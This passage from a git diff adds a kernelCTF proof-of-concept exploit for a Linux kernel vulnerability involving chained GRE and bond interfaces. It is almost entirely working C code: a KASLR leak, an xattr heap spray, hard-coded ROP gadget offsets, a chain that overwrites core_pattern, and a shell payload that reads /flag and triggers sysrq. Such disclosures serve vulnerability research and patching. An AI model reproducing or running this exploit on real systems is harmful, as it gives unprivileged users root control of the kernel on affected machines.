AF_UNSPEC, + .i.ifi_type = IFINFO_DUMMY_TYPE, + .i.ifi_index = gre_ifindex, + .i.ifi_flags = IFF_UP, // IFF_SLAVE, + }; + + // Create nested attributes for gre interface + struct rtattr *linkinfo2 = NLMSG_TAIL(&req2.n); + add_rtattr(&req2.n, sizeof(req2), IFLA_LINKINFO, NULL, 0); + + // Specify gre type + add_rtattr(&req2.n, sizeof(req2), IFLA_INFO_KIND, "gre", strlen("gre") + 1); + + // Add gre-specific options + struct rtattr *greinfo = NLMSG_TAIL(&req2.n); + add_rtattr(&req2.n, sizeof(req2), IFLA_INFO_DATA, NULL, 0); + + struct in_addr local_ipv4; + if (inet_pton(AF_INET, local_addr, &local_ipv4) < 1) { + puts("inet_pton for local_addr failed"); + return 0; + } + add_rtattr(&req2.n, sizeof(req2), IFLA_GRE_LOCAL, &local_ipv4, + sizeof(local_ipv4)); + + add_rtattr(&req2.n, sizeof(req2), IFLA_GRE_ENCAP_TYPE, &encap_type, + sizeof(encap_type)); + + // Update lengths + greinfo->rta_len = (char *)NLMSG_TAIL(&req2.n) - (char *)greinfo; + linkinfo2->rta_len = (char *)NLMSG_TAIL(&req2.n) - (char *)linkinfo2; + + // Set interface name + add_rtattr(&req2.n, sizeof(req2), IFLA_IFNAME, gre_name, + strlen(gre_name) + 1); + + return send_and_recv_rtnetlink(rtnetlink_fd, &req2.n); +} + +static int setup_gre_link(int rtnetlink_fd, int gre_ifindex, int link_ifindex, + bool should_down) { + struct { + struct nlmsghdr n; + struct ifinfomsg i; + char attr_buf[RTNETLINK_REQ_BUF_SIZE]; + } req2 = { + .n.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg)), + .n.nlmsg_type = RTM_NEWLINK, + .n.nlmsg_flags = NLM_F_REQUEST, + .i.ifi_family = AF_UNSPEC, + .i.ifi_type = IFINFO_DUMMY_TYPE, + .i.ifi_index = gre_ifindex, + .i.ifi_flags = should_down ? 0 : IFF_UP, + .i.ifi_change = IFI_CHANGE_ALL, + }; + + // Create nested attributes for gre interface + struct rtattr *linkinfo2 = NLMSG_TAIL(&req2.n); + add_rtattr(&req2.n, sizeof(req2), IFLA_LINKINFO, NULL, 0); + + // Specify gre type + add_rtattr(&req2.n, sizeof(req2), IFLA_INFO_KIND, "gre", strlen("gre") + 1); + + // Add gre-specific options + struct rtattr *greinfo = NLMSG_TAIL(&req2.n); + add_rtattr(&req2.n, sizeof(req2), IFLA_INFO_DATA, NULL, 0); + + add_rtattr(&req2.n, sizeof(req2), IFLA_GRE_LINK, &link_ifindex, + sizeof(link_ifindex)); + + // Update lengths + greinfo->rta_len = (char *)NLMSG_TAIL(&req2.n) - (char *)greinfo; + linkinfo2->rta_len = (char *)NLMSG_TAIL(&req2.n) - (char *)linkinfo2; + + return send_and_recv_rtnetlink(rtnetlink_fd, &req2.n); +} + +static int setup_gre_slave(int rtnetlink_fd, int bond_ifindex, int gre_ifindex, + int link_ifindex) { + struct { + struct nlmsghdr n; + struct ifinfomsg i; + char attr_buf[RTNETLINK_REQ_BUF_SIZE]; + } req2 = { + .n.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg)), + .n.nlmsg_type = RTM_NEWLINK, + .n.nlmsg_flags = NLM_F_REQUEST, + .i.ifi_family = AF_UNSPEC, + .i.ifi_type = IFINFO_DUMMY_TYPE, + .i.ifi_index = gre_ifindex, + .i.ifi_flags = IFF_SLAVE, + }; + + // Create nested attributes for gre interface + struct rtattr *linkinfo2 = NLMSG_TAIL(&req2.n); + add_rtattr(&req2.n, sizeof(req2), IFLA_LINKINFO, NULL, 0); + + // Specify gre type + add_rtattr(&req2.n, sizeof(req2), IFLA_INFO_KIND, "gre", strlen("gre") + 1); + + // Add gre-specific options + struct rtattr *greinfo = NLMSG_TAIL(&req2.n); + add_rtattr(&req2.n, sizeof(req2), IFLA_INFO_DATA, NULL, 0); + + add_rtattr(&req2.n, sizeof(req2), IFLA_GRE_LINK, &link_ifindex, + sizeof(link_ifindex)); + + // Update lengths + greinfo->rta_len = (char *)NLMSG_TAIL(&req2.n) - (char *)greinfo; + linkinfo2->rta_len = (char *)NLMSG_TAIL(&req2.n) - (char *)linkinfo2; + + // Set master + add_rtattr(&req2.n, sizeof(req2), IFLA_MASTER, &bond_ifindex, + sizeof(bond_ifindex)); + + return send_and_recv_rtnetlink(rtnetlink_fd, &req2.n); +} + +static unsigned char packet_buf[PACKET_BUF_SIZE]; +static uint64_t kbase = 0; +static uint64_t xattr_spray_payload[XATTR_SPRAY_QWORDS]; +static unsigned long user_cs, user_ss, user_sp, user_rflags; + +static void set_cpu(int core_id) { + cpu_set_t cpuset; + CPU_ZERO(&cpuset); + CPU_SET(core_id, &cpuset); + SYSCHK(sched_setaffinity(getpid(), sizeof(cpu_set_t), &cpuset)); +} + +static void save_state(void) { + asm("movq %%cs, %0\n" + "movq %%ss, %1\n" + "movq %%rsp, %2\n" + "pushfq\n" + "popq %3\n" + : "=r"(user_cs), "=r"(user_ss), "=r"(user_sp), "=r"(user_rflags) + : + : "memory"); +} + +#define CMD \ + "#!/bin/sh\nPID=`pidof " WIN_PROCESS_NAME "`\n" \ + "cat /flag>/proc/$PID/fd/" WIN_STDOUT_FD_STR "\n" \ + "echo o>/proc/sysrq-trigger" +static void post_exploit_trigger_core_pattern(void) { + if (!fork()) { + puts("[*] win!!"); + int memfd = memfd_create("", 0); + SYSCHK(write(memfd, CMD, sizeof(CMD))); + dup2(memfd, WIN_STDOUT_FD); + close(memfd); + *(size_t *)0 = 0; + } + // @sleep(kernel_func="", desc="keep the post-exploit process alive") + sleep(9999); +} + +static void unshare_setup(uid_t uid, gid_t gid) { + int map_fd; + char map_buf[USERNS_MAP_BUF_SIZE]; + SYSCHK(unshare(CLONE_NEWNET | CLONE_NEWUSER)); + map_fd = SYSCHK(open("/proc/self/setgroups", O_WRONLY)); + SYSCHK(write(map_fd, "deny", strlen("deny"))); + close(map_fd); + map_fd = SYSCHK(open("/proc/self/uid_map", O_WRONLY)); + snprintf(map_buf, sizeof(map_buf), "0 %u 1", (unsigned int)uid); + SYSCHK(write(map_fd, map_buf, strlen(map_buf))); + close(map_fd); + map_fd = SYSCHK(open("/proc/self/gid_map", O_WRONLY)); + snprintf(map_buf, sizeof(map_buf), "0 %u 1", (unsigned int)gid); + SYSCHK(write(map_fd, map_buf, strlen(map_buf))); + close(map_fd); + return; +} + +static uint64_t leak_proc_dir_entry_addr(uint64_t content, int if_index) { + uint64_t ret = 0; + static int gre_n = 1; + char gre_name[IFNAMSIZ], remote_addr[INET6_ADDRSTRLEN]; + char name[PROC_DIR_ENTRY_INLINE_NAME_BUF_SIZE] = {0}; + int rtnetlink_fd = SYSCHK(socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE)); + memcpy(name, &content, PROC_DIR_ENTRY_INLINE_NAME_SIZE); + if (!setup_bond_interface(rtnetlink_fd, if_index, name)) { + puts("Failed to create bond interface"); + return 1; + } + + gre_n++; + snprintf(gre_name, sizeof(gre_name), "leak%d", gre_n); + snprintf(remote_addr, sizeof(remote_addr), "2001:db8::%d", gre_n); + if (!setup_ip6gre_slave_interface(rtnetlink_fd, if_index, remote_addr, "::", gre_name)) { + puts("Failed to create ip6gre interface"); + return 1; + } + + int packet_fd = setup_bond_af_packet_sock(htons(ETH_P_IPV6), if_index); + int recv_fd = SYSCHK(socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL))); + + SYSCHK(send(packet_fd, "X", 1, 0)); + int res = SYSCHK(recv(recv_fd, packet_buf, sizeof(packet_buf), 0)); + if (res < LEAK_PACKET_MIN_SIZE) { + puts("recv failed. Maybe this kernel is not vulnerable"); + return 1; + } + for (int i = 0; i < U64_SIZE; i++) { + ret += ((uint64_t)packet_buf[PROC_DIR_ENTRY_LEAK_OFFS + i]) << (i * 8); + } + return ret; +} + +static void leak_kbase(void) { + int rtnetlink_fd = SYSCHK(socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE)); + + if (!setup_bond_interface(rtnetlink_fd, BOND_IFINDEX_FOR_KASLR_LEAK, "leak")) { + puts("Failed to create bond interface"); + exit(1); + } + if (!setup_ip6gre_slave_interface(rtnetlink_fd, BOND_IFINDEX_FOR_KASLR_LEAK, + "2001:db8::1", "::", "leak_ip6gre")) { + puts("Failed to create ip6gre interface"); + exit(1); + } + + int packet_fd = setup_bond_af_packet_sock(htons(ETH_P_IPV6), + BOND_IFINDEX_FOR_KASLR_LEAK); + int recv_fd = SYSCHK(socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL))); + + SYSCHK(send(packet_fd, "X", 1, 0)); + + int res = SYSCHK(recv(recv_fd, packet_buf, sizeof(packet_buf), 0)); + if (res < LEAK_PACKET_MIN_SIZE) { + puts("recv failed. Maybe this kernel is not vulnerable"); + exit(1); + } + + uint64_t bond_rcv_validate_addr = 0; + for (int i = 0; i < U64_SIZE; i++) { + bond_rcv_validate_addr += + ((uint64_t)packet_buf[BOND_RCV_VALIDATE_LEAK_OFFS + i]) << (i * 8); + } + + kbase = bond_rcv_validate_addr - BOND_RCV_VALIDATE_OFFS; + close(packet_fd); + close(recv_fd); + close(rtnetlink_fd); + + printf("[*] kbase: 0x%lx\n", kbase); +} + +static void spray_xattr_order_2_pages(uint64_t *content) { + static int n = 0; + uint64_t *spray_data; + char path[XATTR_SPRAY_PATH_SIZE]; + snprintf(path, sizeof(path), "/tmp/xattr_spray_%d", n++); + int fd = SYSCHK(open(path, O_RDWR | O_CREAT, XATTR_SPRAY_FILE_MODE)); + spray_data = malloc(XATTR_SPRAY_SIZE); + if (!spray_data) { + perror("malloc"); + exit(1); + } + memcpy(spray_data, content, XATTR_SPRAY_SIZE); + fsetxattr(fd, "x", spray_data, XATTR_SPRAY_SIZE, 0); +}; + +static void rop_setup_core_pattern_overwrite(void) { + uint64_t first_pivot_gadget = kbase + GADGET_SKB_DESTRUCTOR_PIVOT1_OFFS; + uint64_t second_pivot_gadget = kbase + GADGET_SKB_DESTRUCTOR_PIVOT2_OFFS; + uint64_t stack_pivot_gadget = kbase + GADGET_STACK_PIVOT_OFFS; + uint64_t pop_rdi_ret = kbase + GADGET_POP_RDI_RET_OFFS; + uint64_t pop_rcx_pop_rax_ret = kbase + GADGET_POP_RCX_POP_RAX_RET_OFFS; + uint64_t mov_ptr_rax_rcx_ret = kbase + GADGET_MOV_PTR_RAX_RCX_RET_OFFS; + uint64_t swapgs_iretq = kbase + GADGET_SWAPGS_IRETQ_OFFS; + uint64_t core_pattern_addr = kbase + CORE_PATTERN_OFFS; + + // If the name contains invalid char (see dev_valid_name), creation fails. + uint64_t addr1 = leak_proc_dir_entry_addr(first_pivot_gadget, + BOND_IFINDEX_FOR_PIVOT_LEAK1); + uint64_t addr2 = leak_proc_dir_entry_addr(second_pivot_gadget, + BOND_IFINDEX_FOR_PIVOT_LEAK2); + if (addr1 == 1 || addr2 == 1) { + puts("leak failed"); + exit(1); + } + printf("[*] proc entry1: 0x%lx\n", addr1); + printf("[*] proc entry2: 0x%lx\n", addr2); + addr1 += PROC_DIR_ENTRY_OFFS_INLINE_NAME; + addr2 += PROC_DIR_ENTRY_OFFS_INLINE_NAME; + + save_state(); + uint64_t *fake_skb_shinfo = &xattr_spray_payload[SKB_SHARED_INFO_IDX]; + fake_skb_shinfo[SKB_SHINFO_DESTRUCTOR_ARG_QWORD] = addr1; + fake_skb_shinfo[SKB_SHINFO_PIVOT_POP_RDI_QWORD] = pop_rdi_ret; + fake_skb_shinfo[SKB_SHINFO_PIVOT_ARG_QWORD] = addr2 - U64_SIZE; + fake_skb_shinfo[SKB_SHINFO_STACK_PIVOT_QWORD] = stack_pivot_gadget; + + // Overwrite /proc/sys/kernel/core_pattern with "|/proc/%P/fd/666". + uint64_t *rop_chain = &fake_skb_shinfo[SKB_SHINFO_ROP_CHAIN_QWORD]; + *rop_chain++ = pop_rcx_pop_rax_ret; + *rop_chain++ = CORE_PATTERN_CMD_WORD0; + *rop_chain++ = core_pattern_addr; + *rop_chain++ = mov_ptr_rax_rcx_ret; + *rop_chain++ = pop_rcx_pop_rax_ret; + *rop_chain++ = CORE_PATTERN_CMD_WORD1; + *rop_chain++ = core_pattern_addr + U64_SIZE; + *rop_chain++ = mov_ptr_rax_rcx_ret; + *rop_chain++ = swapgs_iretq; + *rop_chain++ = IRETQ_DUMMY_VALUE; + *rop_chain++ = IRETQ_DUMMY_VALUE; + *rop_chain++ = (uint64_t)&post_exploit_trigger_core_pattern; + *rop_chain++ = user_cs; + *rop_chain++ = user_rflags; + *rop_chain++ = user_sp + U64_SIZE; + *rop_chain++ = user_ss; + puts("[*] done rop_setup_core_pattern_overwrite"); +} + +static void vuln_trigger_skb_shared_info_overwrite(void) { + int rtnetlink_fd = SYSCHK(socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE)); + + // @step(name="Triggering the skb_shared_info overwrite") + // The GRE chain makes dev->needed_head_room exceed KMALLOC_MAX_CACHE_SIZE, + // then the zero-length packet corrupts skb_shared_info in the order-2 skb. + if (!setup_bond_interface(rtnetlink_fd, BOND_IFINDEX_FOR_TRIGGER, "mybond")) { + puts("Failed to create bond interface"); + exit(1); + } + + for (int i = 0; i < NUM_GRE_IFS; i++) { + char laddr[INET_ADDRSTRLEN] = ""; + char ifname[IFNAMSIZ] = ""; + snprintf(laddr, sizeof(laddr), "21.0.%d.%d", i / IPV4_OCTET_RANGE, i % IPV4_OCTET_RANGE); + snprintf(ifname, sizeof(ifname), "if%d-%d", i, i); + + int current_gre_index = GRE_INDEX_BASE + i; + if (!setup_gre_interface(rtnetlink_fd, current_gre_index , ifname, laddr, + i < GRE_ENCAP_BOOTSTRAP_IFS ? TUNNEL_ENCAP_FOU : TUNNEL_ENCAP_NONE)) { + puts("Failed to create gre interface"); + exit(1); + } + + if (i > 0) { + int prev_gre_index = GRE_INDEX_BASE + i - 1; + if (!setup_gre_link(rtnetlink_fd, current_gre_index, prev_gre_index, true)) { + puts("Failed to change gre interface"); + exit(1); + } + } + } + + if (!setup_gre_slave(rtnetlink_fd, BOND_IFINDEX_FOR_TRIGGER, + GRE_INDEX_BASE + NUM_GRE_IFS - 1, + GRE_INDEX_BASE + NUM_GRE_IFS - 2)) { + puts("Failed to make slave"); + exit(1); + } + + int packet_fd = setup_bond_af_packet_sock(PACKET_NO_PROTOCOL, BOND_IFINDEX_FOR_TRIGGER); + + for (;;) { + send(packet_fd, NULL, 0, 0); + spray_xattr_order_2_pages(xattr_spray_payload); + } +} + +void vuln_trigger_mode() { + puts("[*] vuln trigger mode"); + set_cpu(0); + unshare_setup(getuid(), getgid()); + setup_interface_up(if_nametoindex("lo")); + kbase = 0xdeadbeefcafe0000; + rop_setup_core_pattern_overwrite(); + vuln_trigger_skb_shared_info_overwrite(); +} + +int main(int argc, char **argv) { + if (argc == 2 && !strcmp(argv[1], "--vuln-trigger")) { + vuln_trigger_mode(); + return 0; + } + + if (!fork()) { + set_cpu(1); + strcpy(argv[0], WIN_PROCESS_NAME); + // @sleep(kernel_func="", desc="keep argv[0] visible to pidof") + sleep(99999); + } + + set_cpu(0); + unshare_setup(getuid(), getgid()); + setup_interface_up(if_nametoindex("lo")); + leak_kbase(); + + if (kbase == 0 || (kbase & (PAGE_SIZE - 1)) != 0) { + puts("Failed to leak kbase"); + return 1; + } + + rop_setup_core_pattern_overwrite(); + vuln_trigger_skb_shared_info_overwrite(); + return 0; +} diff --git a/pocs/linux/kernelctf/CVE-2026-43456_lts_cos_mitigation/exploit/cos-109-17800.372.99/exploit b/pocs/linux/kernelctf/CVE-2026-43456_lts_cos_mitigation/exploit/cos-109-17800.372.99/exploit new file mode 100755 index 000000000..157172e8b Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2026-43456_lts_cos_mitigation/exploit/cos-109-17800.372.99/exploit differ diff --git a/pocs/linux/kernelctf/CVE-2026-43456_lts_cos_mitigation/exploit/lts-6.6.87/Makefile b/pocs/linux/kernelctf/CVE-2026-43456_lts_cos_mitigation/exploit/lts-6.6.87/Makefile new file mode 100644 index 000000000..09ff56415 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-43456_lts_cos_mitigation/exploit/lts-6.6.87/Makefile @@ -0,0 +1,2 @@ +exploit: exp.c + gcc exp.c -static -o exploit diff --git a/pocs/linux/kernelctf/CVE-2026-43456_lts_cos_mitigation/exploit/lts-6.6.87/exp.c b/pocs/linux/kernelctf/CVE-2026-43456_lts_cos_mitigation/exploit/lts-6.6.87/exp.c new file mode 100644 index 000000000..79aa62fbc --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-43456_lts_cos_mitigation/exploit/lts-6.6.87/exp.c @@ -0,0 +1,829 @@ +#define _GNU_SOURCE + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#ifndef BOND_MODE_ACTIVEBACKUP +#define BOND_MODE_ACTIVEBACKUP 1 +#endif + +#ifndef NLMSG_TAIL +#define NLMSG_TAIL(nmsg) \ + ((struct rtattr *)(((void *)(nmsg)) + NLMSG_ALIGN((nmsg)->nlmsg_len))) +#endif + +#define SYSCHK(x) \ + ({ \ + typeof(x) __res = (x); \ + if (__res == (typeof(x))-1) { \ + fprintf(stderr, "%s: %s\n", "SYSCHK(" #x ")", strerror(errno)); \ + exit(1); \ + } \ + __res; \ + }) + +#define CORE_PATTERN_CMD_WORD0 UINT64_C(0x252f636f72702f7c) // "|/proc/%" +#define CORE_PATTERN_CMD_WORD1 UINT64_C(0x3636362f64662f50) // "P/fd/666" +#define IFI_CHANGE_ALL UINT32_MAX +#define WIN_PROCESS_NAME "win" +#define WIN_STDOUT_FD_STR "1" + +enum { + RTNETLINK_REQ_BUF_SIZE = 1024, + RTNETLINK_REPLY_BUF_SIZE = 4096, + SETLINK_REQ_ATTR_BUF_SIZE = 512, + PACKET_BUF_SIZE = 0x10000, + PAGE_SIZE = 0x1000, + USERNS_MAP_BUF_SIZE = 0x100, + XATTR_SPRAY_SIZE = 0x4000, + XATTR_SPRAY_QWORDS = XATTR_SPRAY_SIZE / sizeof(uint64_t), + XATTR_SPRAY_PATH_SIZE = 32, + XATTR_SPRAY_FILE_MODE = 0777, + PROC_DIR_ENTRY_INLINE_NAME_SIZE = 8, + PROC_DIR_ENTRY_INLINE_NAME_BUF_SIZE = PROC_DIR_ENTRY_INLINE_NAME_SIZE + 1, + U64_SIZE = sizeof(uint64_t), + LEAK_PACKET_MIN_SIZE = 0x28, + IPV4_OCTET_RANGE = 256, + GRE_ENCAP_BOOTSTRAP_IFS = 8, + WIN_STDOUT_FD = 666, +}; + +enum { + // Accepted by rtnetlink; the exact type is unused. + IFINFO_DUMMY_TYPE = 0xde, + // Chained GRE devices make dev->needed_head_room exceed KMALLOC_MAX_CACHE_SIZE. + NUM_GRE_IFS = 329, + BOND_ARP_INTERVAL_MS = 1000, + + // Random fixed ifindexes + BOND_IFINDEX_FOR_KASLR_LEAK = 0xdead, + BOND_IFINDEX_FOR_PIVOT_LEAK1 = 0xbeef, + BOND_IFINDEX_FOR_PIVOT_LEAK2 = 0xcafe, + BOND_IFINDEX_FOR_TRIGGER = 0xbabe, + GRE_INDEX_BASE = 0x41424344, + + PACKET_NO_PROTOCOL = 0, +}; + +enum { + BOND_RCV_VALIDATE_LEAK_OFFS = 0x08, + PROC_DIR_ENTRY_LEAK_OFFS = 0x20, + SKB_SHARED_INFO_IDX = 0x7d8, + SKB_SHINFO_DESTRUCTOR_ARG_QWORD = 0x5, + SKB_SHINFO_PIVOT_POP_RDI_QWORD = 0x7, + SKB_SHINFO_PIVOT_PUSH_RDI_POP_RSP = 0x8, + SKB_SHINFO_ROP_CHAIN_QWORD = 0x9, + PROC_DIR_ENTRY_OFFS_INLINE_NAME = 0xac, +}; + +enum { + BOND_RCV_VALIDATE_OFFS = 0xcdb0c0, + CORE_PATTERN_OFFS = 0x2db6840, + + // mov rax, [r12+0x40]; lea rdi, [r12+0x38]; mov rax, [rax+8]; call rax; + GADGET_SKB_DESTRUCTOR_PIVOT1_OFFS = 0x00961bd7, + // push rdi; pop rsp; ret; + GADGET_SKB_DESTRUCTOR_PIVOT2_OFFS = 0x004d24a7, + // pop rdi; ret; + GADGET_POP_RDI_RET_OFFS = 0x0000934c, + // pop rcx; pop rax; ret; + GADGET_POP_RCX_POP_RAX_RET_OFFS = 0x0146d32d, + // mov qword ptr [rax], rcx; ret; + GADGET_MOV_PTR_RAX_RCX_RET_OFFS = 0x0081f53b, + // swapgs; iretq; + GADGET_SWAPGS_IRETQ_OFFS = 0x16011a6, + IRETQ_DUMMY_VALUE = 0xdead, +}; + +static const char *get_rtnetlink_operation(uint16_t type) { + switch (type) { + case RTM_NEWLINK: + return "create link"; + case RTM_DELLINK: + return "delete link"; + case RTM_GETLINK: + return "get link info"; + case RTM_NEWADDR: + return "add address"; + case RTM_DELADDR: + return "delete address"; + case RTM_GETADDR: + return "get address"; + case RTM_NEWROUTE: + return "add route"; + case RTM_DELROUTE: + return "delete route"; + case RTM_GETROUTE: + return "get route"; + default: + return "unknown operation"; + } +} + +static void explain_rtnetlink_error(struct nlmsghdr *req, int error) { + const char *operation = get_rtnetlink_operation(req->nlmsg_type); + + fprintf(stderr, "RTNetlink operation '%s' failed: ", operation); + + switch (-error) { + case EACCES: + fprintf(stderr, "Permission denied. This operation requires CAP_NET_ADMIN " + "capability.\n"); + break; + + case EADDRINUSE: + fprintf(stderr, "Address/resource already in use\n"); + break; + + case EADDRNOTAVAIL: + fprintf(stderr, "Address not available on this device\n"); + break; + + case ENODEV: + fprintf(stderr, "Network interface does not exist\n"); + break; + + case EINVAL: + fprintf(stderr, "Invalid parameter/configuration:\n"); + // Additional parsing of req->nlmsg_type specific structures + if (req->nlmsg_type == RTM_NEWADDR) { + fprintf(stderr, "- Check address family and prefix length\n"); + fprintf(stderr, "- Verify interface exists and is up\n"); + } else if (req->nlmsg_type == RTM_NEWROUTE) { + fprintf(stderr, "- Check route parameters (gateway, metrics)\n"); + fprintf(stderr, "- Verify routing table exists\n"); + } + break; + + case EMSGSIZE: + fprintf(stderr, "Message too large or incorrectly formatted\n"); + break; + + case ENOBUFS: + fprintf(stderr, "System resource shortage, try again later\n"); + break; + + case ESRCH: + fprintf(stderr, "Resource (route/rule/address) not found\n"); + break; + + case EEXIST: + fprintf(stderr, "Resource already exists\n"); + break; + + default: + fprintf(stderr, "%s\n", strerror(-error)); + } +} +static int send_and_recv_rtnetlink(int sock, struct nlmsghdr *nlh) { + static long nlmsg_seq_idx = 0; + + struct sockaddr_nl dest_addr = { + .nl_family = AF_NETLINK, .nl_pid = 0, .nl_groups = 0}; + + // Set sequence number + nlh->nlmsg_seq = ++nlmsg_seq_idx; + nlh->nlmsg_flags |= NLM_F_ACK; + + struct iovec iov = {.iov_base = nlh, .iov_len = nlh->nlmsg_len}; + + struct msghdr msg = {.msg_name = &dest_addr, + .msg_namelen = sizeof(dest_addr), + .msg_iov = &iov, + .msg_iovlen = 1}; + + if (sendmsg(sock, &msg, 0) < 0) { + fprintf(stderr, "sendmsg: %s\n", strerror(errno)); + return 0; + } + + char reply_buf[RTNETLINK_REPLY_BUF_SIZE]; + struct nlmsghdr *nh; + + while (1) { + iov.iov_base = reply_buf; + iov.iov_len = sizeof(reply_buf); + + int len = recvmsg(sock, &msg, 0); + if (len < 0) { + fprintf(stderr, "recvmsg: %s\n", strerror(errno)); + return 0; + } + + for (nh = (struct nlmsghdr *)reply_buf; NLMSG_OK(nh, len); + nh = NLMSG_NEXT(nh, len)) { + if (nh->nlmsg_seq != nlmsg_seq_idx) + continue; // Not our message + + if (nh->nlmsg_type == NLMSG_ERROR) { + struct nlmsgerr *err = NLMSG_DATA(nh); + + if (err->error == 0) { // Success + return 1; + } + + explain_rtnetlink_error(nlh, err->error); + return 0; + } + + if (nh->nlmsg_type == NLMSG_DONE) + return 1; + } + } +} + +static void add_rtattr(struct nlmsghdr *n, size_t maxlen, int type, + const void *data, size_t alen) { + size_t len = RTA_LENGTH(alen); + struct rtattr *rta; + + if (NLMSG_ALIGN(n->nlmsg_len) + RTA_ALIGN(len) > maxlen) { + fprintf(stderr, "rtattr too long\n"); + return; + } + + rta = NLMSG_TAIL(n); + rta->rta_type = type; + rta->rta_len = len; + if (alen) + memcpy(RTA_DATA(rta), data, alen); + n->nlmsg_len = NLMSG_ALIGN(n->nlmsg_len) + RTA_ALIGN(len); +} + +static int setup_ip6gre_slave_interface(int rtnetlink_fd, int bond_ifindex, + const char *local_addr, + const char *remote_addr, + const char *ip6gre_name) { + struct { + struct nlmsghdr n; + struct ifinfomsg i; + char attr_buf[RTNETLINK_REQ_BUF_SIZE]; + } req2 = { + .n.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg)), + .n.nlmsg_type = RTM_NEWLINK, + .n.nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE | NLM_F_EXCL, + .i.ifi_family = AF_UNSPEC, + .i.ifi_type = IFINFO_DUMMY_TYPE, + .i.ifi_index = 0, + .i.ifi_flags = IFF_SLAVE, + }; + + struct rtattr *linkinfo2 = NLMSG_TAIL(&req2.n); + add_rtattr(&req2.n, sizeof(req2), IFLA_LINKINFO, NULL, 0); + + add_rtattr(&req2.n, sizeof(req2), IFLA_INFO_KIND, "ip6gre", + strlen("ip6gre") + 1); + + struct rtattr *ip6greinfo = NLMSG_TAIL(&req2.n); + add_rtattr(&req2.n, sizeof(req2), IFLA_INFO_DATA, NULL, 0); + + struct in6_addr local_ipv6; + if (inet_pton(AF_INET6, local_addr, &local_ipv6) < 1) { + puts("inet_pton for local_addr failed"); + return 0; + } + add_rtattr(&req2.n, sizeof(req2), IFLA_GRE_LOCAL, &local_ipv6, + sizeof(local_ipv6)); + + struct in6_addr remote_ipv6; + if (inet_pton(AF_INET6, remote_addr, &remote_ipv6) < 1) { + puts("inet_pton for remote_addr failed"); + return 0; + } + add_rtattr(&req2.n, sizeof(req2), IFLA_GRE_REMOTE, &remote_ipv6, + sizeof(remote_ipv6)); + + // Update lengths + ip6greinfo->rta_len = (char *)NLMSG_TAIL(&req2.n) - (char *)ip6greinfo; + linkinfo2->rta_len = (char *)NLMSG_TAIL(&req2.n) - (char *)linkinfo2; + + // Set interface name + add_rtattr(&req2.n, sizeof(req2), IFLA_IFNAME, ip6gre_name, + strlen(ip6gre_name) + 1); + + // Set master + add_rtattr(&req2.n, sizeof(req2), IFLA_MASTER, &bond_ifindex, + sizeof(bond_ifindex)); + + return send_and_recv_rtnetlink(rtnetlink_fd, &req2.n); +} +static int setup_bond_interface(int rtnetlink_fd, int bond_ifindex, const char *bond_name) { + /* + * Create bond interface + */ + struct { + struct nlmsghdr n; + struct ifinfomsg i; + char attr_buf[RTNETLINK_REQ_BUF_SIZE]; + } req1 = { + .n.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg)), + .n.nlmsg_type = RTM_NEWLINK, + .n.nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE | NLM_F_EXCL, + .i.ifi_family = IFINFO_DUMMY_TYPE, + .i.ifi_type = IFINFO_DUMMY_TYPE, + .i.ifi_index = bond_ifindex, + .i.ifi_flags = IFF_UP, + }; + + // Create nested attributes for bond interface + struct rtattr *linkinfo1 = NLMSG_TAIL(&req1.n); + add_rtattr(&req1.n, sizeof(req1), IFLA_LINKINFO, NULL, 0); + + // Specify bond type + add_rtattr(&req1.n, sizeof(req1), IFLA_INFO_KIND, "bond", strlen("bond") + 1); + + // Add bond-specific options + struct rtattr *bondinfo = NLMSG_TAIL(&req1.n); + add_rtattr(&req1.n, sizeof(req1), IFLA_INFO_DATA, NULL, 0); + + // Active-backup mode is enough to route packets through the slave path. + char mode = BOND_MODE_ACTIVEBACKUP; + add_rtattr(&req1.n, sizeof(req1), IFLA_BOND_MODE, &mode, sizeof(mode)); + + uint32_t arp_interval = BOND_ARP_INTERVAL_MS; + add_rtattr(&req1.n, sizeof(req1), IFLA_BOND_ARP_INTERVAL, &arp_interval, + sizeof(arp_interval)); + + // Update lengths + bondinfo->rta_len = (char *)NLMSG_TAIL(&req1.n) - (char *)bondinfo; + linkinfo1->rta_len = (char *)NLMSG_TAIL(&req1.n) - (char *)linkinfo1; + + // Set interface name + add_rtattr(&req1.n, sizeof(req1), IFLA_IFNAME, bond_name, + strlen(bond_name) + 1); + + return send_and_recv_rtnetlink(rtnetlink_fd, &req1.n); +} + +static int setup_bond_af_packet_sock(int proto_type, int ifindex_to_bind) { + int packet_fd = SYSCHK(socket(AF_PACKET, SOCK_DGRAM, proto_type)); + + struct sockaddr_ll saddr2 = {0}; + saddr2.sll_family = AF_PACKET; + saddr2.sll_protocol = proto_type; + saddr2.sll_ifindex = ifindex_to_bind; + SYSCHK(bind(packet_fd, (struct sockaddr *)&saddr2, sizeof(saddr2))); + + return packet_fd; +} + +static int setup_interface_up(int if_index) { + struct { + struct nlmsghdr nh; + struct ifinfomsg ifi; + char attrbuf[SETLINK_REQ_ATTR_BUF_SIZE]; + } req = {0}; + + // Create netlink socket + int sock = SYSCHK(socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE)); + + // Setup netlink header + req.nh.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg)); + req.nh.nlmsg_flags = NLM_F_REQUEST; + req.nh.nlmsg_type = RTM_SETLINK; + + // Setup interface info + req.ifi.ifi_family = AF_UNSPEC; + req.ifi.ifi_index = if_index; + + req.ifi.ifi_flags = IFF_UP; + req.ifi.ifi_change = IFF_UP; + + int ok = send_and_recv_rtnetlink(sock, &req.nh); + close(sock); + return ok; +} + +static int setup_gre_interface(int rtnetlink_fd, int gre_ifindex, + 